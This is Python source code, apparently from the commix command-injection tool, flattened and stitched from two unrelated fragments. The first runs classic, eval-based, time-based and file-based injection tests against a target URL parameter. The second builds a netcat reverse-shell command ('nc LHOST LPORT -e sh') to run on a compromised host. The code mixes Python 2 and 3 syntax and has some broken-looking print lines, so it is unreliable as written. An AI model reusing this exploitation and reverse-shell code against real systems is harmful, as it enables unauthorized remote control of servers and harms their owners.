timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) # Check for identified warnings url = heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS: if not settings.SKIP_COMMAND_INJECTIONS: ci = "command injection techniques" ce = "code injection technique" if not menu.options.batch: question_msg = "Do you want to skip test payloads for " question_msg += ci + "? [Y/n] > " procced_option = _input(settings.print_question_msg(question_msg)) else: procced_option = "" if procced_option in settings.CHOICE_YES or len(procced_option) == 0: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping " + ci + "." print(settings.print_debug_msg(debug_msg)) settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True elif procced_option in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping " + ce + "." print(settings.print_debug_msg(debug_msg)) settings.SKIP_CODE_INJECTIONS = True settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if not settings.LOAD_SESSION: info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] if header_name == " cookie" : info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." else: info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." print(settings.print_info_msg(info_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and \ menu.options.tech and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): menu.options.tech = "f" if not menu.options.tech: menu.options.tech = "" if len(menu.options.tech) == 0 or "c" in menu.options.tech: settings.CLASSIC_STATE = True # Check if it is vulnerable to classic command injection technique. if not settings.SKIP_COMMAND_INJECTIONS and settings.CLASSIC_STATE: settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method) != False: if settings.EVAL_BASED_STATE: if not menu.options.batch: settings.CLASSIC_STATE = True question_msg = "Due to results, " question_msg += "skipping of code injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input(settings.print_question_msg(question_msg)) else: procced_option = "" if len(procced_option) == 0: procced_option = "Y" if procced_option in settings.CHOICE_YES: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping code injection checks." print(settings.print_debug_msg(debug_msg)) settings.SKIP_CODE_INJECTIONS = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: settings.CLASSIC_STATE = False if len(menu.options.tech) == 0 or "e" in menu.options.tech: settings.EVAL_BASED_STATE = True # Check if it is vulnerable to eval-based code injection technique. if not settings.SKIP_CODE_INJECTIONS and settings.EVAL_BASED_STATE: settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method) != False: if not menu.options.batch: settings.EVAL_BASED_STATE = True question_msg = "Due to results, " question_msg += "skipping of further command injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input(settings.print_question_msg(question_msg)) else: procced_option = "" if len(procced_option) == 0: procced_option = "Y" if procced_option in settings.CHOICE_YES: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping command injection checks." print(settings.print_debug_msg(debug_msg)) settings.SKIP_COMMAND_INJECTIONS = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: settings.EVAL_BASED_STATE = False if not settings.SKIP_COMMAND_INJECTIONS: if len(menu.options.tech) == 0 or "t" in menu.options.tech: settings.TIME_BASED_STATE = True # Check if it is vulnerable to time-based blind command injection technique. if settings.TIME_BASED_STATE: settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False if len(menu.options.tech) == 0 or "f" in menu.options.tech: settings.FILE_BASED_STATE = True # Check if it is vulnerable to file-based semiblind command injection technique. if settings.FILE_BASED_STATE: settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : warn_msg = "The tested" if header_name != " cookie" and the_type != " HTTP header": warn_msg += " " + str(http_request_method) + "" warn_msg += str(the_type) + str(header_name) + str(check_parameter) warn_msg += " seems to be not injectable." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL
def netcat_version(): # Defined shell shell = "sh" # Netcat alternatives NETCAT_ALTERNATIVES = [ "nc", "busybox nc", "nc.traditional" ] while True: nc_version = raw_input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like targets""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] break # Netcat for Busybox if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if shell_options(nc_version): return shell_options(nc_version) # Invalid option else: err_msg = "The '" + nc_version + "' option, is not valid." print settings.print_error_msg(err_msg) continue while True: if not menu.options.batch: question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " sys.stdout.write(settings.print_question_msg(question_msg)) enable_bin_dir = sys.stdin.readline().replace("\n","").lower() else: enable_bin_dir = "" if len(enable_bin_dir) == 0: enable_bin_dir = "n" if enable_bin_dir in settings.CHOICE_NO: break elif enable_bin_dir in settings.CHOICE_YES : nc_alternative = "/bin/" + nc_alternative shell = "/bin/" + shell break elif enable_bin_dir in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enable_bin_dir + "' is not a valid answer." print settings.print_error_msg(err_msg) pass cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e " + shell return cmd